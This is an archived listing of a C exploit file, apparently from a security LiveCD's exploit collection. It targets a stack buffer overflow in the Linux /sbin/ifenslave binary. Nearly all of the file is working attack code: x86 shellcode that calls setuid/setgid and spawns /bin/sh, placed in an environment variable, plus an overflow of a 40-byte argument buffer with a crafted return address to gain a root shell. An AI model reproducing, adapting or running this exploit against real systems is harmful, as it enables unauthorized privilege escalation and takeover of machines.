home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / ifenslave / jsk-ifenslave-exp.c < prev   
C/C++ Source or Header  |  2005-02-12  |  1KB  |  57 lines

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4.  
  5. #define BUFSIZE 40
  6.  
  7. char shellcode[] =
  8.     "\x31\xdb"
  9.     "\x89\xd8"
  10.     "\xb0\x17"
  11.     "\xcd\x80"
  12.     "\x31\xdb"
  13.     "\x89\xd8"
  14.     "\xb0\x17"
  15.     "\xcd\x80"
  16.     "\x31\xdb"
  17.     "\x89\xd8"
  18.     "\xb0\x2e"
  19.     "\xcd\x80"
  20.     "\x31\xc0"
  21.     "\x50"
  22.     "\x68\x2f\x2f\x73\x68"
  23.     "\x68\x2f\x62\x69\x6e"
  24.     "\x89\xe3"
  25.     "\x50"
  26.     "\x53"
  27.     "\x89\xe1"
  28.     "\x31\xd2"
  29.     "\xb0\x0b"
  30.     "\xcd\x80"
  31.      "\x31\xdb"
  32.     "\x89\xd8"
  33.     "\xb0\x01"
  34.     "\xcd\x80";
  35.  
  36. int main(void)
  37. {
  38.  char buf[BUFSIZE+10];
  39.  char *prog[] = {"/sbin/ifenslave", buf, NULL};
  40.  char *env[] = {"HOME=BLA", shellcode, NULL};
  41.  
  42.  printf("****************************************\n\n");
  43.  printf("hi,guys\n\n");
  44.  printf("Coded by jsk(阿坤)from ph4nt0m.net\n");
  45.  printf("Welcome to http://www.ph4nt0m.net\n\n");
  46.  printf("****************************************\n\n\n");
  47.  
  48.  unsigned long ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) -
  49.  strlen(shellcode) - 0x02;
  50.  memset(buf,0x41,sizeof(buf));
  51.  memcpy(buf+BUFSIZE+4,(char *)&ret,4);
  52.  buf[BUFSIZE+8] = 0x00;
  53.  execve(prog[0],prog,env);
  54.  return 0;
  55. }
  56.  
  57.